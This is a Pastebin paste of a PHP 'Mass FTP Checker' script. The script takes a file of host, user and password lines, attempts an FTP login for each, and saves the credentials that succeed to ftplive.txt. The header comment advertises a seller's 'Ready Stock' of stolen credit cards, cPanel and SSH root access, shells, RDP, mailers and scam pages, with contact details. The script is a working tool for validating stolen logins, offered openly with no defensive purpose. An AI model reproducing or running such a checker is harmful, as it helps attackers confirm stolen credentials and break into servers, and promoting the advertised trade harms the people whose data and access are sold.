Advertisement
3x5w4rup

Mass FTP Checker

Mar 2nd, 2015
1,499
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.21 KB | None | 0 0
  1. <?php
  2. #####################################################################################################################
  3. #[+] Usage: php ftpchecker.php file.txt[+]                                                                          #
  4. #                                                                                                                   #
  5. #Recoded By Saha Swarup                                                                                             #
  6. #swarup.link                                                                                                        #
  7. #Ready Stock:                                                                                                       #
  8. #CC Fresh | cPanel | Shell | Mailer | RDP | SSH root | SSH Tuneling | FTP | WebMail | SMTP | Email Leads | ScamPages#
  9. #Contact : Saha Swarup      Email: swarup1995@yahoo.com                                                             #
  10. #####################################################################################################################
  11.  
  12.         if(count($argv) < 2){
  13.                 echo "===========================\n";
  14.                 echo "[+] PHP Mass FTP Checker\n";
  15.                 echo "[+] Recoded By ccfresh.info\n";
  16.                 echo "[+] Usage: php $argv[0] file.txt\n";
  17.                 echo "[+] file.txt must be: <host> <user> <password><space>\n";
  18.                 echo "[+] |ccfresh.info ccfresh mypassword | (end with space)\n";
  19.                 echo "===========================";
  20.                 exit();
  21.         }
  22.         $file = $argv[1];
  23.         $detail = file_get_contents($file);
  24.         $ftps = explode("\n",$detail);
  25.        
  26.         function pecah_ftp($ftp1){
  27.                 $ftp = array();
  28.                 $s = explode(" ",$ftp1);
  29.                 $ftp['host'] = $s[0];          
  30.                 $ftp['user'] = $s[1];
  31.                 $ftp['pass'] = $s[2];
  32.                 return $ftp;
  33.         }
  34.  
  35.         foreach($ftps as $ftp1){
  36.                 echo "\nChecking ".$ftp1 . PHP_EOL;
  37.                 $ftp = pecah_ftp($ftp1);
  38.                
  39.                 echo $ftp['host']."\n";
  40.                 echo $ftp['user']."\n";
  41.                 echo $ftp['pass']."\n";
  42.                         $ftp_server = $ftp['host'];
  43.                         $ftp_user = $ftp['user'];
  44.                         $ftp_pass = $ftp['pass'];
  45.  
  46.                         // set up a connection or die
  47.                         $timeout = 5;
  48.                         $conn_id = ftp_connect($ftp_server,21,$timeout);
  49.                        
  50.                         // try to login
  51.                         if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
  52.                                 echo "Connected as $ftp_user@$ftp_server\n";
  53.                                 $fl=fopen("ftplive.txt","a");
  54.                                 fwrite($fl,$ftp_server." ".$ftp_user." ".$ftp_pass."\n");
  55.                                 fclose($fl);
  56.                                 ftp_close($conn_id);
  57.                         } else {
  58.                                 echo "Couldn't connect as $ftp_user\n";
  59.                                
  60.                         }
  61.                        
  62.                          
  63. }
  64. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement